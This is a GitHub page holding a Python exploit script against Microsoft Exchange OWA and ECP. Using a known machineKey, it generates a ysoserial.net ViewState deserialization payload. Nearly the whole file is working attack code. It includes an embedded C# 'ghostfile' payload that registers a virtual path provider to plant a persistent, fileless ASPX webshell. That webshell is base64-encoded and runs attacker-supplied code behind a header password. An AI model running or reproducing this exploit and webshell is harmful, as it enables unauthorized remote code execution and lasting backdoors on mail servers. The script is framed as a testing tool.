forked from 3gstudent/Homework-of-Python
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ExchangeDeserializeShell-NoAuth-ghostfile.py
381 lines (317 loc) · 16 KB
/
ExchangeDeserializeShell-NoAuth-ghostfile.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
# Python3
import requests
import sys
import os
import urllib3
urllib3.disable_warnings()
import urllib.parse
#The version of ysoserial.net should be greater than 1.32
ysoserial_path = os.path.abspath(os.path.dirname(__file__))+"/ysoserial.net/"
def ysoserial(cmd):
cmd = ysoserial_path+cmd
r = os.popen(cmd)
res = r.readlines()
return res[-1]
if __name__ == '__main__':
if len(sys.argv)!=4:
note = '''
Use to test the deserializing code execution of Exchange.
From read and write permissions of Exchange files to deserializing code execution.
You should modify the machineKey in %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\<path>\\web.config to implement deserializing code execution.
<path>:owa or ecp
Note:The version of ysoserial.net should be greater than 1.32
Usage:
<url> <key> <path>
<path>: owa or ecp
eg.
{0} 192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
{1} mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
'''
print(note.format(sys.argv[0],sys.argv[0]))
sys.exit(0)
else:
targeturl = "";
generator = "";
ghostPayload = '''
class G
{
public G()
{
// Author: Soroush Dalili (@irsdl)
// base64-encoded version of a webshell.aspx file
string webshellContentsBase64 = "PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JQppZihSZXF1ZXN0LkhlYWRlcnNbIlZhbHVlIl09PSIwMEhHQVQzSzBBWEhWMlJGMlcwRyIpCnsKZXZhbChSZXF1ZXN0Lkl0ZW1bImFudHN3b3JkIl0sInVuc2FmZSIpOwkKfQplbHNlCnsKUmVzcG9uc2UuUmVkaXJlY3QoIi9vd2EvYXV0aC9lcnJvckZFLmFzcHg/aHR0cENvZGU9NDA0Iik7Cn0KJT4=";
string webshellType = ".aspx";
string webshellContent = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(webshellContentsBase64));
string rootPath = System.Web.HttpContext.Current.Request.CurrentExecutionFilePath.TrimEnd('/').ToLower();
// removing the application name when making the virtual directory
int index = rootPath.IndexOf(System.Web.HttpContext.Current.Request.ApplicationPath.ToLower());
if (index >= 0)
rootPath = rootPath.Remove(index, System.Web.HttpContext.Current.Request.ApplicationPath.Length);
// fiddle with targetVirtualPath if needed and you know what path can be used to create the virtual path
string prefix = "";
if (rootPath.LastIndexOf("/") > 0)
prefix = rootPath.Substring(0, rootPath.LastIndexOf("/"));
string targetVirtualPath = prefix + "/";
targetVirtualPath = targetVirtualPath.Replace("//", "/");
//System.Web.HttpContext.Current.Response.AddHeader("INFO", System.Web.Compilation.BuildManager.IsPrecompiledApp.ToString()); // info leak
//System.Web.HttpContext.Current.Response.AddHeader("via", "yso"); // beacon
try
{
//SamplePathProvider sampleProvider = new SamplePathProvider("fakepath1337", @"This is the attacker's file - running on the server if this `<%=1338-1%>` is 1337.");
SamplePathProvider sampleProvider = new SamplePathProvider(targetVirtualPath, webshellContent);
// Uncomment this if FriendlyUrlSettings is used! Remember to include Microsoft.AspNet.FriendlyUrls.dll
/*
foreach (var route in System.Web.Routing.RouteTable.Routes)
{
if (route.GetType().FullName == "Microsoft.AspNet.FriendlyUrls.FriendlyUrlRoute")
{
var FriendlySetting = route.GetType().GetProperty("Settings", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.Public);
var settings = new Microsoft.AspNet.FriendlyUrls.FriendlyUrlSettings();
settings.AutoRedirectMode = Microsoft.AspNet.FriendlyUrls.RedirectMode.Off;
FriendlySetting.SetValue(route, settings);
}
}
//*/
sampleProvider.InitializeLifetimeService(); // we want our web shell to remain there forever (NO. 1)
System.Reflection.FieldInfo field_isPrecompiledAppComputed = null;
System.Reflection.FieldInfo field_isPrecompiledApp = null;
object field_theBuildManager_instance = null;
object field_isPrecompiledAppComputed_oldValue = null;
object field_isPrecompiledApp_oldValue = null;
if (System.Web.Compilation.BuildManager.IsPrecompiledApp)
{
// To disable isPrecompiledApp settings
var typeBuildManager = typeof(System.Web.Compilation.BuildManager);
System.Reflection.FieldInfo field_theBuildManager = typeBuildManager.GetField("_theBuildManager", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
field_isPrecompiledAppComputed = typeBuildManager.GetField("_isPrecompiledAppComputed", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);
field_isPrecompiledApp = typeBuildManager.GetField("_isPrecompiledApp", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);
field_theBuildManager_instance = field_theBuildManager.GetValue(null);
field_isPrecompiledAppComputed_oldValue = field_isPrecompiledAppComputed.GetValue(field_theBuildManager_instance);
field_isPrecompiledApp_oldValue = field_isPrecompiledApp.GetValue(field_theBuildManager_instance);
field_isPrecompiledAppComputed.SetValue(field_theBuildManager_instance, true);
field_isPrecompiledApp.SetValue(field_theBuildManager_instance, false);
}
// IsPrecompiledApp is false!
System.Web.Hosting.HostingEnvironment.RegisterVirtualPathProvider(sampleProvider);
if (field_isPrecompiledAppComputed != null)
{
// To reverse isPrecompiledApp settings
field_isPrecompiledAppComputed.SetValue(field_theBuildManager_instance, field_isPrecompiledAppComputed_oldValue);
field_isPrecompiledApp.SetValue(field_theBuildManager_instance, field_isPrecompiledApp_oldValue);
}
System.Web.HttpContext.Current.Response.Clear();
System.Web.HttpContext.Current.Response.BufferOutput = true;
//*
System.Web.HttpContext.Current.Server.Execute(targetVirtualPath + (new System.Random()).Next(1000) + webshellType); // if you need to compile a file immediately
System.Web.HttpContext.Current.Response.End();
//*/
//OR
/*
string redirectionTarget = (System.Web.HttpContext.Current.Request.ApplicationPath + targetVirtualPath + "ghostfile" + (new System.Random()).Next(1000) + webshellType).Replace("//", "/");
System.Web.HttpContext.Current.Response.Redirect(redirectionTarget);
//*/
}
catch (System.Exception error)
{
System.Web.HttpContext.Current.Response.AddHeader("Errors", System.Web.HttpUtility.UrlEncode(error.ToString()));
}
}
public class myHandler : System.Web.IHttpHandler, System.Web.Routing.IRouteHandler
{
public bool IsReusable
{
get { return true; }
}
public void ProcessRequest(System.Web.HttpContext context)
{
// your processing here
}
public System.Web.IHttpHandler GetHttpHandler(System.Web.Routing.RequestContext requestContext)
{
return this;
}
}
// Reference: https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8
public class SamplePathProvider : System.Web.Hosting.VirtualPathProvider
{
private string _virtualDir;
private string _fileContent;
public SamplePathProvider(string virtualDir, string fileContent)
: base()
{
_virtualDir = "/" + virtualDir.Replace(@"\\", "/");
_virtualDir = _virtualDir.Replace("//", "/").TrimEnd('/');
_fileContent = fileContent;
}
protected override void Initialize()
{ }
private bool IsPathVirtual(string virtualPath)
{
//return true; // uncomment this if you need to take over all non-compiled files! this can be very disruptive and can cause DoS
System.String checkPath = System.Web.VirtualPathUtility.ToAppRelative(virtualPath);
return checkPath.ToLower().Contains(_virtualDir.ToLower()); // checkPath.ToLower().Contains(_virtualDir.ToLower()) && checkPath.ToLower().EndsWith(".aspx");
}
public override bool FileExists(string virtualPath)
{
if (IsPathVirtual(virtualPath))
{
return true;
}
else
{
return Previous.FileExists(virtualPath);
}
}
public override bool DirectoryExists(string virtualDir)
{
if (IsPathVirtual(virtualDir))
{
return true;
}
else
{
return Previous.DirectoryExists(virtualDir);
}
}
public override System.Web.Hosting.VirtualFile GetFile(string virtualPath)
{
if (IsPathVirtual(virtualPath))
return new SampleVirtualFile(virtualPath, _fileContent);
else
return Previous.GetFile(virtualPath);
}
public override System.Web.Hosting.VirtualDirectory GetDirectory(string virtualDir)
{
if (IsPathVirtual(virtualDir))
return new SampleVirtualDirectory(virtualDir);
else
return Previous.GetDirectory(virtualDir);
}
public override System.Web.Caching.CacheDependency GetCacheDependency(
string virtualPath,
System.Collections.IEnumerable virtualPathDependencies,
System.DateTime utcStart)
{
if (IsPathVirtual(virtualPath))
{
/*
System.Collections.Specialized.StringCollection fullPathDependencies = null;
// Get the full path to all dependencies.
foreach (string virtualDependency in virtualPathDependencies)
{
if (fullPathDependencies == null)
fullPathDependencies = new System.Collections.Specialized.StringCollection();
fullPathDependencies.Add(virtualDependency);
}
if (fullPathDependencies == null)
return null;
// Copy the list of full-path dependencies into an array.
string[] fullPathDependenciesArray = new string[fullPathDependencies.Count];
fullPathDependencies.CopyTo(fullPathDependenciesArray, 0);
// Copy the virtual path into an array.
string[] virtualPathArray = new string[1];
virtualPathArray[0] = @"c:\";
return new System.Web.Caching.CacheDependency(virtualPathArray, fullPathDependenciesArray, utcStart);
*/
// we want our web shell to remain longer than usual! (NO. 2) - uncomment above if you want a shorter expiry
return new System.Web.Caching.CacheDependency(@"c:\\");
}
else
{
return Previous.GetCacheDependency(virtualPath, virtualPathDependencies, utcStart);
}
}
}
public class SampleVirtualFile : System.Web.Hosting.VirtualFile
{
private string _fileContent;
public bool Exists
{
get { return true; }
}
public SampleVirtualFile(string virtualPath, string fileContent)
: base(virtualPath)
{
this._fileContent = fileContent;
}
public override System.IO.Stream Open()
{
System.IO.Stream stream = new System.IO.MemoryStream(System.Text.Encoding.UTF8.GetBytes(_fileContent));
return stream;
}
}
public class SampleVirtualDirectory : System.Web.Hosting.VirtualDirectory
{
public SampleVirtualDirectory(string virtualDir)
: base(virtualDir)
{
string path = virtualDir;
// System.Web.Hosting.HostingEnvironment.ApplicationVirtualPath or System.Web.HttpContext.Current.Request.ApplicationPath ? */
if (System.Web.HttpContext.Current.Request.ApplicationPath != "/")
{
int index = virtualDir.IndexOf(System.Web.HttpContext.Current.Request.ApplicationPath.ToLower());
if (index >= 0)
path = virtualDir.Remove(index, System.Web.HttpContext.Current.Request.ApplicationPath.Length);
}
path = path.TrimEnd('/');
if (!string.IsNullOrEmpty(path))
{
//SampleVirtualDirectory svd = new SampleVirtualDirectory(path);
children.Add(this);
directories.Add(this);
SampleVirtualFile svf = new SampleVirtualFile(path + "/help.aspx", "");
children.Add(svf);
files.Add(svf);
}
}
private System.Collections.ArrayList children = new System.Collections.ArrayList();
public override System.Collections.IEnumerable Children
{
get { return children; }
}
private System.Collections.ArrayList directories = new System.Collections.ArrayList();
public override System.Collections.IEnumerable Directories
{
get { return directories; }
}
private System.Collections.ArrayList files = new System.Collections.ArrayList();
public override System.Collections.IEnumerable Files
{
get { return files; }
}
}
}
''';
try:
if sys.argv[3] == "owa":
targeturl = "https://" + sys.argv[1] + "/owa/auth/errorFE.aspx";
generator = "042A94E8";
elif sys.argv[3] == "ecp":
targeturl = "https://" + sys.argv[1] + "/ecp/auth/TimeoutLogout.aspx";
generator = "277B1C2A";
else:
print("[!] Wrong input");
print("[*] TargetURL: " + targeturl)
payload_path = "ghostfile.cs"
if not os.path.exists(payload_path):
print("[*] Trying to release " + payload_path)
with open(payload_path,'w') as f:
f.write(ghostPayload)
payload = """ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -f LosFormatter -c "ghostfile.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="{key}" --generator="{generator}" """
payload = payload.format(key=sys.argv[2], generator=generator)
out_payload = ysoserial(payload)
print(payload)
body = {"__VIEWSTATEGENERATOR": generator,"__VIEWSTATE": out_payload}
postData = urllib.parse.urlencode(body).encode("utf-8")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx",
"Content-Type":"application/x-www-form-urlencoded",
"Value":"00HGAT3K0AXHV2RF2W0G"
}
status = requests.post(url=targeturl, headers=headers, data=postData, verify=False, timeout=15)
print(status.status_code)
print(status.headers)
print(status.text)
except Exception as e:
print("[!] Error:%s"%(e))
sys.exit(0)